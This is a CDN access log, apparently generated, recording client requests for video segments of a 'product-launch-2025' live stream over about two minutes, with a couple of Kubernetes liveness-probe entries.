status=206 OK +Aug 15 10:05:00 cdn-access: 245.119.224.35 - GET /live/product-launch-2025/segment866.ts status=206 OK +Aug 15 10:05:00 cdn-access: 2.89.84.53 - GET /live/product-launch-2025/segment530.ts status=200 OK +Aug 15 10:05:00 cdn-access: 202.242.214.38 - GET /live/product-launch-2025/segment440.ts status=206 OK +Aug 15 10:05:00 cdn-access: 8.209.114.168 - GET /live/product-launch-2025/segment494.ts status=206 OK +Aug 15 10:05:00 cdn-access: 252.34.132.189 - GET /live/product-launch-2025/segment843.ts status=206 OK +Aug 15 10:05:00 cdn-access: 212.144.28.212 - GET /live/product-launch-2025/segment161.ts status=206 OK +Aug 15 10:05:00 cdn-access: 174.223.193.86 - GET /live/product-launch-2025/segment633.ts status=206 OK +Aug 15 10:05:00 cdn-access: 188.184.96.242 - GET /live/product-launch-2025/segment755.ts status=206 OK +Aug 15 10:05:00 cdn-access: 253.40.175.119 - GET /live/product-launch-2025/segment794.ts status=206 OK +Aug 15 10:05:00 cdn-access: 166.194.108.180 - GET /live/product-launch-2025/segment813.ts status=206 OK +Aug 15 10:05:05 cdn-access: 213.91.186.87 - GET /live/product-launch-2025/segment768.ts status=206 OK +Aug 15 10:05:05 cdn-access: 73.9.234.134 - GET /live/product-launch-2025/segment863.ts status=200 OK +Aug 15 10:05:05 cdn-access: 194.211.245.205 - GET /live/product-launch-2025/segment151.ts status=206 OK +Aug 15 10:05:05 cdn-access: 14.157.212.159 - GET /live/product-launch-2025/segment373.ts status=200 OK +Aug 15 10:05:05 cdn-access: 65.113.229.220 - GET /live/product-launch-2025/segment247.ts status=206 OK +Aug 15 10:05:05 cdn-access: 102.154.177.208 - GET /live/product-launch-2025/segment440.ts status=206 OK +Aug 15 10:05:05 cdn-access: 183.140.156.59 - GET /live/product-launch-2025/segment699.ts status=206 OK +Aug 15 10:05:05 cdn-access: 251.38.13.125 - GET /live/product-launch-2025/segment841.ts status=206 OK +Aug 15 10:05:05 cdn-access: 194.99.21.45 - GET /live/product-launch-2025/segment377.ts status=206 OK +Aug 15 10:05:05 cdn-access: 236.251.15.229 - GET /live/product-launch-2025/segment209.ts status=206 OK +Aug 15 10:05:10 cdn-access: 58.125.203.100 - GET /live/product-launch-2025/segment410.ts status=206 OK +Aug 15 10:05:10 cdn-access: 119.16.200.121 - GET /live/product-launch-2025/segment704.ts status=206 OK +Aug 15 10:05:10 cdn-access: 27.157.17.77 - GET /live/product-launch-2025/segment329.ts status=200 OK +Aug 15 10:05:10 cdn-access: 63.165.141.144 - GET /live/product-launch-2025/segment597.ts status=206 OK +Aug 15 10:05:10 cdn-access: 223.62.10.30 - GET /live/product-launch-2025/segment111.ts status=206 OK +Aug 15 10:05:10 cdn-access: 115.150.98.231 - GET /live/product-launch-2025/segment933.ts status=206 OK +Aug 15 10:05:10 cdn-access: 42.189.16.36 - GET /live/product-launch-2025/segment312.ts status=206 OK +Aug 15 10:05:10 cdn-access: 35.250.145.63 - GET /live/product-launch-2025/segment300.ts status=206 OK +Aug 15 10:05:10 cdn-access: 145.26.110.253 - GET /live/product-launch-2025/segment648.ts status=206 OK +Aug 15 10:05:10 cdn-access: 134.75.56.78 - GET /live/product-launch-2025/segment389.ts status=206 OK +Aug 15 10:05:10 cdn-access: 92.20.93.227 - GET /live/product-launch-2025/segment764.ts status=200 OK +Aug 15 10:05:10 cdn-access: 109.246.143.12 - GET /live/product-launch-2025/segment136.ts status=206 OK +Aug 15 10:05:15 cdn-access: 228.132.85.148 - GET /live/product-launch-2025/segment772.ts status=200 OK +Aug 15 10:05:15 cdn-access: 17.97.107.19 - GET /live/product-launch-2025/segment162.ts status=206 OK +Aug 15 10:05:15 cdn-access: 49.10.79.208 - GET /live/product-launch-2025/segment193.ts status=206 OK +Aug 15 10:05:15 cdn-access: 96.241.189.144 - GET /live/product-launch-2025/segment698.ts status=206 OK +Aug 15 10:05:15 cdn-access: 158.216.41.19 - GET /live/product-launch-2025/segment223.ts status=200 OK +Aug 15 10:05:15 cdn-access: 52.148.233.18 - GET /live/product-launch-2025/segment826.ts status=206 OK +Aug 15 10:05:15 cdn-access: 31.19.19.12 - GET /live/product-launch-2025/segment227.ts status=200 OK +Aug 15 10:05:15 cdn-access: 244.16.171.4 - GET /live/product-launch-2025/segment638.ts status=206 OK +Aug 15 10:05:20 cdn-access: 89.16.203.144 - GET /live/product-launch-2025/segment415.ts status=206 OK +Aug 15 10:05:20 cdn-access: 137.102.94.226 - GET /live/product-launch-2025/segment151.ts status=206 OK +Aug 15 10:05:20 cdn-access: 104.82.73.4 - GET /live/product-launch-2025/segment480.ts status=206 OK +Aug 15 10:05:20 cdn-access: 62.97.148.147 - GET /live/product-launch-2025/segment600.ts status=200 OK +Aug 15 10:05:20 cdn-access: 184.96.204.197 - GET /live/product-launch-2025/segment785.ts status=200 OK +Aug 15 10:05:20 cdn-access: 154.22.45.60 - GET /live/product-launch-2025/segment793.ts status=206 OK +Aug 15 10:05:20 cdn-access: 124.69.2.119 - GET /live/product-launch-2025/segment923.ts status=206 OK +Aug 15 10:05:20 cdn-access: 250.254.88.159 - GET /live/product-launch-2025/segment492.ts status=206 OK +Aug 15 10:05:20 cdn-access: 1.9.188.12 - GET /live/product-launch-2025/segment193.ts status=200 OK +Aug 15 10:05:25 cdn-access: 225.4.150.140 - GET /live/product-launch-2025/segment224.ts status=206 OK +Aug 15 10:05:25 cdn-access: 218.190.242.36 - GET /live/product-launch-2025/segment269.ts status=206 OK +Aug 15 10:05:25 cdn-access: 223.203.27.172 - GET /live/product-launch-2025/segment701.ts status=206 OK +Aug 15 10:05:25 cdn-access: 210.60.215.244 - GET /live/product-launch-2025/segment523.ts status=206 OK +Aug 15 10:05:25 cdn-access: 115.152.54.168 - GET /live/product-launch-2025/segment793.ts status=200 OK +Aug 15 10:05:25 cdn-access: 57.129.35.223 - GET /live/product-launch-2025/segment417.ts status=206 OK +Aug 15 10:05:25 cdn-access: 128.180.207.72 - GET /live/product-launch-2025/segment190.ts status=206 OK +Aug 15 10:05:25 cdn-access: 148.53.152.253 - GET /live/product-launch-2025/segment994.ts status=206 OK +Aug 15 10:05:25 cdn-access: 183.29.197.184 - GET /live/product-launch-2025/segment833.ts status=206 OK +Aug 15 10:05:25 cdn-access: 115.205.7.21 - GET /live/product-launch-2025/segment686.ts status=206 OK +Aug 15 10:05:25 cdn-access: 123.4.60.58 - GET /live/product-launch-2025/segment430.ts status=206 OK +Aug 15 10:05:25 cdn-access: 175.95.65.177 - GET /live/product-launch-2025/segment647.ts status=200 OK +Aug 15 10:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:05:30 cdn-access: 211.112.147.171 - GET /live/product-launch-2025/segment800.ts status=200 OK +Aug 15 10:05:30 cdn-access: 247.14.118.103 - GET /live/product-launch-2025/segment249.ts status=206 OK +Aug 15 10:05:30 cdn-access: 139.21.131.87 - GET /live/product-launch-2025/segment397.ts status=206 OK +Aug 15 10:05:30 cdn-access: 101.244.87.110 - GET /live/product-launch-2025/segment351.ts status=206 OK +Aug 15 10:05:30 cdn-access: 218.165.143.156 - GET /live/product-launch-2025/segment204.ts status=200 OK +Aug 15 10:05:30 cdn-access: 52.63.232.147 - GET /live/product-launch-2025/segment869.ts status=200 OK +Aug 15 10:05:30 cdn-access: 3.234.180.223 - GET /live/product-launch-2025/segment910.ts status=200 OK +Aug 15 10:05:35 cdn-access: 140.66.142.71 - GET /live/product-launch-2025/segment475.ts status=206 OK +Aug 15 10:05:35 cdn-access: 21.92.100.215 - GET /live/product-launch-2025/segment880.ts status=206 OK +Aug 15 10:05:35 cdn-access: 78.51.196.113 - GET /live/product-launch-2025/segment636.ts status=206 OK +Aug 15 10:05:35 cdn-access: 158.108.109.81 - GET /live/product-launch-2025/segment947.ts status=206 OK +Aug 15 10:05:35 cdn-access: 48.240.196.112 - GET /live/product-launch-2025/segment282.ts status=206 OK +Aug 15 10:05:35 cdn-access: 54.174.189.230 - GET /live/product-launch-2025/segment263.ts status=206 OK +Aug 15 10:05:35 cdn-access: 72.114.69.59 - GET /live/product-launch-2025/segment120.ts status=206 OK +Aug 15 10:05:35 cdn-access: 15.24.25.53 - GET /live/product-launch-2025/segment936.ts status=206 OK +Aug 15 10:05:35 cdn-access: 50.192.172.26 - GET /live/product-launch-2025/segment111.ts status=206 OK +Aug 15 10:05:35 cdn-access: 243.80.132.140 - GET /live/product-launch-2025/segment722.ts status=200 OK +Aug 15 10:05:35 cdn-access: 213.11.21.15 - GET /live/product-launch-2025/segment160.ts status=206 OK +Aug 15 10:05:35 cdn-access: 3.202.143.27 - GET /live/product-launch-2025/segment474.ts status=200 OK +Aug 15 10:05:40 cdn-access: 107.40.227.186 - GET /live/product-launch-2025/segment665.ts status=200 OK +Aug 15 10:05:40 cdn-access: 160.25.77.135 - GET /live/product-launch-2025/segment996.ts status=206 OK +Aug 15 10:05:40 cdn-access: 9.219.63.217 - GET /live/product-launch-2025/segment389.ts status=206 OK +Aug 15 10:05:40 cdn-access: 125.53.232.73 - GET /live/product-launch-2025/segment470.ts status=200 OK +Aug 15 10:05:40 cdn-access: 243.112.205.83 - GET /live/product-launch-2025/segment515.ts status=200 OK +Aug 15 10:05:40 cdn-access: 6.160.63.169 - GET /live/product-launch-2025/segment365.ts status=206 OK +Aug 15 10:05:40 cdn-access: 108.120.134.170 - GET /live/product-launch-2025/segment866.ts status=206 OK +Aug 15 10:05:40 cdn-access: 61.118.154.13 - GET /live/product-launch-2025/segment177.ts status=200 OK +Aug 15 10:05:40 cdn-access: 156.28.171.36 - GET /live/product-launch-2025/segment968.ts status=206 OK +Aug 15 10:05:45 cdn-access: 220.76.25.219 - GET /live/product-launch-2025/segment230.ts status=200 OK +Aug 15 10:05:45 cdn-access: 157.209.177.185 - GET /live/product-launch-2025/segment575.ts status=206 OK +Aug 15 10:05:45 cdn-access: 242.199.99.157 - GET /live/product-launch-2025/segment136.ts status=206 OK +Aug 15 10:05:45 cdn-access: 74.213.151.216 - GET /live/product-launch-2025/segment248.ts status=200 OK +Aug 15 10:05:45 cdn-access: 194.103.128.132 - GET /live/product-launch-2025/segment419.ts status=206 OK +Aug 15 10:05:45 cdn-access: 202.50.9.55 - GET /live/product-launch-2025/segment474.ts status=206 OK +Aug 15 10:05:45 cdn-access: 108.8.252.99 - GET /live/product-launch-2025/segment936.ts status=206 OK +Aug 15 10:05:45 cdn-access: 227.164.172.46 - GET /live/product-launch-2025/segment424.ts status=206 OK +Aug 15 10:05:45 cdn-access: 41.147.246.237 - GET /live/product-launch-2025/segment696.ts status=206 OK +Aug 15 10:05:45 cdn-access: 137.138.170.170 - GET /live/product-launch-2025/segment842.ts status=206 OK +Aug 15 10:05:45 cdn-access: 197.119.93.228 - GET /live/product-launch-2025/segment698.ts status=206 OK +Aug 15 10:05:45 cdn-access: 152.213.145.40 - GET /live/product-launch-2025/segment996.ts status=206 OK +Aug 15 10:05:50 cdn-access: 94.196.159.179 - GET /live/product-launch-2025/segment783.ts status=206 OK +Aug 15 10:05:50 cdn-access: 59.42.91.52 - GET /live/product-launch-2025/segment421.ts status=206 OK +Aug 15 10:05:50 cdn-access: 191.144.49.146 - GET /live/product-launch-2025/segment755.ts status=206 OK +Aug 15 10:05:50 cdn-access: 252.66.228.7 - GET /live/product-launch-2025/segment481.ts status=206 OK +Aug 15 10:05:50 cdn-access: 110.225.140.69 - GET /live/product-launch-2025/segment114.ts status=206 OK +Aug 15 10:05:50 cdn-access: 250.11.192.153 - GET /live/product-launch-2025/segment821.ts status=206 OK +Aug 15 10:05:50 cdn-access: 195.227.148.170 - GET /live/product-launch-2025/segment282.ts status=206 OK +Aug 15 10:05:50 cdn-access: 155.251.68.206 - GET /live/product-launch-2025/segment373.ts status=200 OK +Aug 15 10:05:50 cdn-access: 23.101.13.12 - GET /live/product-launch-2025/segment319.ts status=200 OK +Aug 15 10:05:50 cdn-access: 219.131.133.116 - GET /live/product-launch-2025/segment506.ts status=206 OK +Aug 15 10:05:50 cdn-access: 122.89.141.160 - GET /live/product-launch-2025/segment310.ts status=206 OK +Aug 15 10:05:50 cdn-access: 115.218.54.234 - GET /live/product-launch-2025/segment475.ts status=200 OK +Aug 15 10:05:50 cdn-access: 250.87.12.84 - GET /live/product-launch-2025/segment642.ts status=206 OK +Aug 15 10:05:55 cdn-access: 139.45.94.245 - GET /live/product-launch-2025/segment123.ts status=206 OK +Aug 15 10:05:55 cdn-access: 64.62.68.127 - GET /live/product-launch-2025/segment382.ts status=200 OK +Aug 15 10:05:55 cdn-access: 94.209.69.236 - GET /live/product-launch-2025/segment269.ts status=206 OK +Aug 15 10:05:55 cdn-access: 12.45.14.87 - GET /live/product-launch-2025/segment575.ts status=206 OK +Aug 15 10:05:55 cdn-access: 53.96.213.151 - GET /live/product-launch-2025/segment482.ts status=200 OK +Aug 15 10:05:55 cdn-access: 135.225.180.114 - GET /live/product-launch-2025/segment399.ts status=206 OK +Aug 15 10:05:55 cdn-access: 246.8.105.234 - GET /live/product-launch-2025/segment718.ts status=206 OK +Aug 15 10:05:55 cdn-access: 7.25.13.240 - GET /live/product-launch-2025/segment608.ts status=206 OK +Aug 15 10:05:55 cdn-access: 250.114.1.66 - GET /live/product-launch-2025/segment974.ts status=200 OK +Aug 15 10:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 15 10:06:00 cdn-access: 118.135.180.34 - GET /live/product-launch-2025/segment478.ts status=206 OK +Aug 15 10:06:00 cdn-access: 142.190.153.237 - GET /live/product-launch-2025/segment642.ts status=206 OK +Aug 15 10:06:00 cdn-access: 93.173.63.20 - GET /live/product-launch-2025/segment757.ts status=206 OK +Aug 15 10:06:00 cdn-access: 151.143.81.29 - GET /live/product-launch-2025/segment647.ts status=206 OK +Aug 15 10:06:00 cdn-access: 31.219.199.17 - GET /live/product-launch-2025/segment496.ts status=206 OK +Aug 15 10:06:00 cdn-access: 102.94.54.181 - GET /live/product-launch-2025/segment692.ts status=200 OK +Aug 15 10:06:00 cdn-access: 218.175.100.112 - GET /live/product-launch-2025/segment607.ts status=206 OK +Aug 15 10:06:00 cdn-access: 15.201.195.226 - GET /live/product-launch-2025/segment716.ts status=206 OK +Aug 15 10:06:00 cdn-access: 135.229.44.88 - GET /live/product-launch-2025/segment806.ts status=206 OK +Aug 15 10:06:00 cdn-access: 8.207.189.89 - GET /live/product-launch-2025/segment357.ts status=200 OK +Aug 15 10:06:00 cdn-access: 210.209.144.194 - GET /live/product-launch-2025/segment964.ts status=200 OK +Aug 15 10:06:00 cdn-access: 76.137.40.251 - GET /live/product-launch-2025/segment934.ts status=206 OK +Aug 15 10:06:00 cdn-access: 14.8.216.107 - GET /live/product-launch-2025/segment569.ts status=206 OK +Aug 15 10:06:00 cdn-access: 248.209.61.74 - GET /live/product-launch-2025/segment384.ts status=206 OK +Aug 15 10:06:05 cdn-access: 47.154.225.59 - GET /live/product-launch-2025/segment325.ts status=206 OK +Aug 15 10:06:05 cdn-access: 113.160.250.239 - GET /live/product-launch-2025/segment186.ts status=200 OK +Aug 15 10:06:05 cdn-access: 142.38.186.183 - GET /live/product-launch-2025/segment385.ts status=200 OK +Aug 15 10:06:05 cdn-access: 226.69.85.77 - GET /live/product-launch-2025/segment368.ts status=206 OK +Aug 15 10:06:05 cdn-access: 60.74.11.87 - GET /live/product-launch-2025/segment944.ts status=200 OK +Aug 15 10:06:05 cdn-access: 44.140.142.151 - GET /live/product-launch-2025/segment733.ts status=206 OK +Aug 15 10:06:05 cdn-access: 99.104.28.234 - GET /live/product-launch-2025/segment245.ts status=206 OK +Aug 15 10:06:10 cdn-access: 86.20.101.86 - GET /live/product-launch-2025/segment638.ts status=206 OK +Aug 15 10:06:10 cdn-access: 241.62.168.126 - GET /live/product-launch-2025/segment231.ts status=200 OK +Aug 15 10:06:10 cdn-access: 238.179.103.6 - GET /live/product-launch-2025/segment670.ts status=206 OK +Aug 15 10:06:10 cdn-access: 14.171.165.130 - GET /live/product-launch-2025/segment174.ts status=200 OK +Aug 15 10:06:10 cdn-access: 212.79.23.172 - GET /live/product-launch-2025/segment319.ts status=206 OK +Aug 15 10:06:10 cdn-access: 193.180.231.95 - GET /live/product-launch-2025/segment418.ts status=206 OK +Aug 15 10:06:15 cdn-access: 89.77.50.187 - GET /live/product-launch-2025/segment659.ts status=200 OK +Aug 15 10:06:15 cdn-access: 15.151.24.111 - GET /live/product-launch-2025/segment778.ts status=206 OK +Aug 15 10:06:15 cdn-access: 253.15.73.199 - GET /live/product-launch-2025/segment795.ts status=200 OK +Aug 15 10:06:15 cdn-access: 209.124.192.243 - GET /live/product-launch-2025/segment704.ts status=206 OK +Aug 15 10:06:15 cdn-access: 212.41.130.251 - GET /live/product-launch-2025/segment404.ts status=206 OK +Aug 15 10:06:15 cdn-access: 88.8.37.128 - GET /live/product-launch-2025/segment610.ts status=206 OK +Aug 15 10:06:15 cdn-access: 248.87.12.151 - GET /live/product-launch-2025/segment296.ts status=206 OK +Aug 15 10:06:15 cdn-access: 240.24.154.9 - GET /live/product-launch-2025/segment261.ts status=206 OK +Aug 15 10:06:15 cdn-access: 91.220.108.100 - GET /live/product-launch-2025/segment455.ts status=206 OK +Aug 15 10:06:15 cdn-access: 191.147.124.30 - GET /live/product-launch-2025/segment361.ts status=206 OK +Aug 15 10:06:15 cdn-access: 10.91.113.233 - GET /live/product-launch-2025/segment788.ts status=200 OK +Aug 15 10:06:20 cdn-access: 198.182.246.47 - GET /live/product-launch-2025/segment257.ts status=206 OK +Aug 15 10:06:20 cdn-access: 146.97.229.119 - GET /live/product-launch-2025/segment410.ts status=206 OK +Aug 15 10:06:20 cdn-access: 16.13.197.160 - GET /live/product-launch-2025/segment325.ts status=200 OK +Aug 15 10:06:20 cdn-access: 252.208.11.237 - GET /live/product-launch-2025/segment457.ts status=206 OK +Aug 15 10:06:20 cdn-access: 224.137.252.41 - GET /live/product-launch-2025/segment407.ts status=206 OK +Aug 15 10:06:20 cdn-access: 231.182.223.245 - GET /live/product-launch-2025/segment525.ts status=206 OK +Aug 15 10:06:25 cdn-access: 102.175.229.94 - GET /live/product-launch-2025/segment521.ts status=200 OK +Aug 15 10:06:25 cdn-access: 35.59.141.251 - GET /live/product-launch-2025/segment127.ts status=206 OK +Aug 15 10:06:25 cdn-access: 64.48.147.234 - GET /live/product-launch-2025/segment818.ts status=206 OK +Aug 15 10:06:25 cdn-access: 91.111.180.9 - GET /live/product-launch-2025/segment560.ts status=200 OK +Aug 15 10:06:25 cdn-access: 6.245.237.28 - GET /live/product-launch-2025/segment678.ts status=206 OK +Aug 15 10:06:25 cdn-access: 32.239.103.171 - GET /live/product-launch-2025/segment520.ts status=206 OK +Aug 15 10:06:30 cdn-access: 17.222.74.245 - GET /live/product-launch-2025/segment420.ts status=206 OK +Aug 15 10:06:30 cdn-access: 170.19.163.159 - GET /live/product-launch-2025/segment961.ts status=200 OK +Aug 15 10:06:30 cdn-access: 101.45.60.154 - GET /live/product-launch-2025/segment536.ts status=206 OK +Aug 15 10:06:30 cdn-access: 92.175.173.101 - GET /live/product-launch-2025/segment532.ts status=206 OK +Aug 15 10:06:30 cdn-access: 224.215.163.147 - GET /live/product-launch-2025/segment825.ts status=206 OK +Aug 15 10:06:30 cdn-access: 73.78.129.16 - GET /live/product-launch-2025/segment201.ts status=206 OK +Aug 15 10:06:30 cdn-access: 90.75.81.170 - GET /live/product-launch-2025/segment681.ts status=200 OK +Aug 15 10:06:30 cdn-access: 101.131.162.246 - GET /live/product-launch-2025/segment782.ts status=206 OK +Aug 15 10:06:30 cdn-access: 5.8.184.31 - GET /live/product-launch-2025/segment645.ts status=206 OK +Aug 15 10:06:30 cdn-access: 182.24.226.61 - GET /live/product-launch-2025/segment124.ts status=206 OK +Aug 15 10:06:30 cdn-access: 125.53.113.115 - GET /live/product-launch-2025/segment474.ts status=200 OK +Aug 15 10:06:35 cdn-access: 160.189.223.218 - GET /live/product-launch-2025/segment527.ts status=200 OK +Aug 15 10:06:35 cdn-access: 135.16.182.61 - GET /live/product-launch-2025/segment574.ts status=200 OK +Aug 15 10:06:35 cdn-access: 77.165.119.39 - GET /live/product-launch-2025/segment136.ts status=206 OK +Aug 15 10:06:35 cdn-access: 25.128.41.63 - GET /live/product-launch-2025/segment811.ts status=200 OK +Aug 15 10:06:35 cdn-access: 28.137.12.143 - GET /live/product-launch-2025/segment188.ts status=206 OK +Aug 15 10:06:40 cdn-access: 237.254.135.143 - GET /live/product-launch-2025/segment103.ts status=206 OK +Aug 15 10:06:40 cdn-access: 130.83.92.100 - GET /live/product-launch-2025/segment915.ts status=206 OK +Aug 15 10:06:40 cdn-access: 182.101.203.108 - GET /live/product-launch-2025/segment984.ts status=200 OK +Aug 15 10:06:40 cdn-access: 54.11.53.117 - GET /live/product-launch-2025/segment944.ts status=206 OK +Aug 15 10:06:40 cdn-access: 158.170.239.175 - GET /live/product-launch-2025/segment929.ts status=200 OK +Aug 15 10:06:40 cdn-access: 195.182.31.188 - GET /live/product-launch-2025/segment382.ts status=206 OK +Aug 15 10:06:40 cdn-access: 128.66.172.223 - GET /live/product-launch-2025/segment903.ts status=200 OK +Aug 15 10:06:40 cdn-access: 58.201.200.200 - GET /live/product-launch-2025/segment886.ts status=206 OK +Aug 15 10:06:40 cdn-access: 193.100.172.106 - GET /live/product-launch-2025/segment419.ts status=200 OK +Aug 15 10:06:40 cdn-access: 181.12.137.61 - GET /live/product-launch-2025/segment486.ts status=206 OK +Aug 15 10:06:40 cdn-access: 83.168.237.30 - GET /live/product-launch-2025/segment317.ts status=206 OK +Aug 15 10:06:40 cdn-access: 92.33.113.127 - GET /live/product-launch-2025/segment258.ts status=200 OK +Aug 15 10:06:45 cdn-access: 132.158.155.34 - GET /live/product-launch-2025/segment349.ts status=206 OK +Aug 15 10:06:45 cdn-access: 173.129.197.171 - GET /live/product-launch-2025/segment393.ts status=206 OK +Aug 15 10:06:45 cdn-access: 198.251.202.19 - GET /live/product-launch-2025/segment446.ts status=200 OK +Aug 15 10:06:45 cdn-access: 201.219.116.88 - GET /live/product-launch-2025/segment306.ts status=206 OK +Aug 15 10:06:45 cdn-access: 123.239.48.205 - GET /live/product-launch-2025/segment502.ts status=206 OK +Aug 15 10:06:45 cdn-access: 58.116.99.243 - GET /live/product-launch-2025/segment757.ts status=206 OK +Aug 15 10:06:50 cdn-access: 117.194.182.198 - GET /live/product-launch-2025/segment607.ts status=206 OK +Aug 15 10:06:50 cdn-access: 26.102.132.241 - GET /live/product-launch-2025/segment524.ts status=206 OK +Aug 15 10:06:50 cdn-access: 72.194.172.140 - GET /live/product-launch-2025/segment394.ts status=200 OK +Aug 15 10:06:50 cdn-access: 123.170.190.57 - GET /live/product-launch-2025/segment146.ts status=206 OK +Aug 15 10:06:50 cdn-access: 234.168.237.10 - GET /live/product-launch-2025/segment566.ts status=206 OK +Aug 15 10:06:50 cdn-access: 113.245.232.33 - GET /live/product-launch-2025/segment832.ts status=206 OK +Aug 15 10:06:50 cdn-access: 228.32.23.232 - GET /live/product-launch-2025/segment290.ts status=200 OK +Aug 15 10:06:50 cdn-access: 36.55.113.116 - GET /live/product-launch-2025/segment346.ts status=206 OK +Aug 15 10:06:50 cdn-access: 94.57.172.219 - GET /live/product-launch-2025/segment897.ts status=206 OK +Aug 15 10:06:50 cdn-access: 27.196.184.113 - GET /live/product-launch-2025/segment392.ts status=206 OK +Aug 15 10:06:50 cdn-access: 42.120.44.127 - GET /live/product-launch-2025/segment492.ts status=200 OK +Aug 15 10:06:50 cdn-access: 147.53.63.133 - GET /live/product-launch-2025/segment251.ts status=206 OK +Aug 15 10:06:55 cdn-access: 159.198.225.143 - GET /live/product-launch-2025/segment818.ts status=206 OK +Aug 15 10:06:55 cdn-access: 196.25.242.180 - GET /live/product-launch-2025/segment222.ts status=206 OK +Aug 15 10:06:55 cdn-access: 176.19.34.32 - GET /live/product-launch-2025/segment146.ts status=206 OK +Aug 15 10:06:55 cdn-access: 212.223.93.249 - GET /live/product-launch-2025/segment115.ts status=200 OK +Aug 15 10:06:55 cdn-access: 144.37.84.15 - GET /live/product-launch-2025/segment709.ts status=206 OK +Aug 15 10:06:55 cdn-access: 31.43.225.66 - GET /live/product-launch-2025/segment527.ts status=200 OK +Aug 15 10:06:55 cdn-access: 227.5.93.204 - GET /live/product-launch-2025/segment212.ts status=206 OK +Aug 15 10:06:55 cdn-access: 168.89.205.155 - GET /live/product-launch-2025/segment989.ts status=206 OK +Aug 15 10:06:55 cdn-access: 239.127.179.5 - GET /live/product-launch-2025/segment364.ts status=206 OK +Aug 15 10:07:00 cdn-access: 42.20.183.43 - GET /live/product-launch-2025/segment681.ts status=206 OK +Aug 15 10:07:00 cdn-access: 30.254.47.8 - GET /live/product-launch-2025/segment722.ts status=206 OK +Aug 15 10:07:00 cdn-access: 248.237.193.109 - GET /live/product-launch-2025/segment629.ts status=200 OK +Aug 15 10:07:00 cdn-access: 49.220.253.18 - GET /live/product-launch-2025/segment762.ts status=200 OK +Aug 15 10:07:00 cdn-access: 217.135.175.225 - GET /live/product-launch-2025/segment466.ts status=200 OK +Aug 15 10:07:00 cdn-access: 160.32.132.236 - GET /live/product-launch-2025/segment125.ts status=200 OK +Aug 15 10:07:00 cdn-access: 233.68.214.253 - GET /live/product-launch-2025/segment879.ts status=206 OK +Aug 15 10:07:00 cdn-access: 161.113.10.173 - GET /live/product-launch-2025/segment507.ts status=206 OK +Aug 15 10:07:00 cdn-access: 235.77.60.34 - GET /live/product-launch-2025/segment613.ts status=200 OK +Aug 15 10:07:05 cdn-access: 60.180.101.1 - GET /live/product-launch-2025/segment689.ts status=206 OK +Aug 15 10:07:05 cdn-access: 175.245.200.214 - GET /live/product-launch-2025/segment615.ts status=206 OK +Aug 15 10:07:05 cdn-access: 170.79.176.12 - GET /live/product-launch-2025/segment748.ts status=206 OK +Aug 15 10:07:05 cdn-access: 102.158.30.178 - GET /live/product-launch-2025/segment741.ts status=206 OK +Aug 15 10:07:05 cdn-access: 208.42.75.86 - GET /live/product-launch-2025/segment287.ts status=206 OK +Aug 15 10:07:05 cdn-access: 70.7.166.63 - GET /live/product-launch-2025/segment261.ts status=206 OK +Aug 15 10:07:05 cdn-access: 86.212.48.72 - GET /live/product-launch-2025/segment101.ts status=206 OK +Aug 15 10:07:05 cdn-access: 242.26.203.70 - GET /live/product-launch-2025/segment577.ts status=206 OK +Aug 15 10:07:05 cdn-access: 25.34.157.103 - GET /live/product-launch-2025/segment521.ts status=206 OK +Aug 15 10:07:05 cdn-access: 95.84.246.205 - GET /live/product-launch-2025/segment344.ts status=206 OK +Aug 15 10:07:05 cdn-access: 212.100.121.174 - GET /live/product-launch-2025/segment991.ts status=206 OK +Aug 15 10:07:10 cdn-access: 74.247.228.242 - GET /live/product-launch-2025/segment566.ts status=200 OK +Aug 15 10:07:10 cdn-access: 140.170.170.23 - GET /live/product-launch-2025/segment651.ts status=206 OK +Aug 15 10:07:10 cdn-access: 67.207.31.193 - GET /live/product-launch-2025/segment126.ts status=206 OK +Aug 15 10:07:10 cdn-access: 81.3.222.180 - GET /live/product-launch-2025/segment911.ts status=206 OK +Aug 15 10:07:10 cdn-access: 218.162.170.117 - GET /live/product-launch-2025/segment104.ts status=200 OK +Aug 15 10:07:10 cdn-access: 71.136.94.185 - GET /live/product-launch-2025/segment788.ts status=206 OK +Aug 15 10:07:10 cdn-access: 223.16.231.86 - GET /live/product-launch-2025/segment890.ts status=206 OK +Aug 15 10:07:10 cdn-access: 95.107.51.6 - GET /live/product-launch-2025/segment905.ts status=200 OK +Aug 15 10:07:10 cdn-access: 47.40.34.66 - GET /live/product-launch-2025/segment244.ts status=206 OK +Aug 15 10:07:10 cdn-access: 227.171.155.62 - GET /live/product-launch-2025/segment610.ts status=206 OK +Aug 15 10:07:15 cdn-access: 116.103.9.238 - GET /live/product-launch-2025/segment201.ts status=206 OK +Aug 15 10:07:15 cdn-access: 193.71.11.179 - GET /live/product-launch-2025/segment365.ts status=206 OK +Aug 15 10:07:15 cdn-access: 242.170.142.49 - GET /live/product-launch-2025/segment150.ts status=206 OK +Aug 15 10:07:15 cdn-access: 129.82.121.136 - GET /live/product-launch-2025/segment121.ts status=200 OK +Aug 15 10:07:15 cdn-access: 80.177.86.231 - GET /live/product-launch-2025/segment565.ts status=206 OK +Aug 15 10:07:15 cdn-access: 67.212.104.115 - GET /live/product-launch-2025/segment203.ts status=200 OK +Aug 15 10:07:15 cdn-access: 77.11.2.153 - GET /live/product-launch-2025/segment920.ts status=206 OK +Aug 15 10:07:20 cdn-access: 223.74.32.212 - GET /live/product-launch-2025/segment126.ts status=200 OK +Aug 15 10:07:20 cdn-access: 45.183.15.70 - GET /live/product-launch-2025/segment392.ts status=200 OK +Aug 15 10:07:20 cdn-access: 224.212.245.6 - GET /live/product-launch-2025/segment984.ts status=206 OK +Aug 15 10:07:20 cdn-access: 25.84.57.225 - GET /live/product-launch-2025/segment465.ts status=206 OK +Aug 15 10:07:20 cdn-access: 113.95.53.192 - GET /live/product-launch-2025/segment565.ts status=200 OK +Aug 15 10:07:20 cdn-access: 245.34.101.210 - GET /live/product-launch-2025/segment204.ts status=206 OK +Aug 15 10:07:20 cdn-access: 237.230.244.35 - GET /live/product-launch-2025/segment915.ts status=206 OK +Aug 15 10:07:20 cdn-access: 25.71.253.79 - GET /live/product-launch-2025/segment495.ts status=200 OK +Aug 15 10:07:25 cdn-access: 115.28.99.225 - GET /live/product-launch-2025/segment231.ts status=206 OK +Aug 15 10:07:25 cdn-access: 13.163.148.18 - GET /live/product-launch-2025/segment760.ts status=206 OK +Aug 15 10:07:25 cdn-access: 93.27.71.135 - GET /live/product-launch-2025/segment774.ts status=206 OK 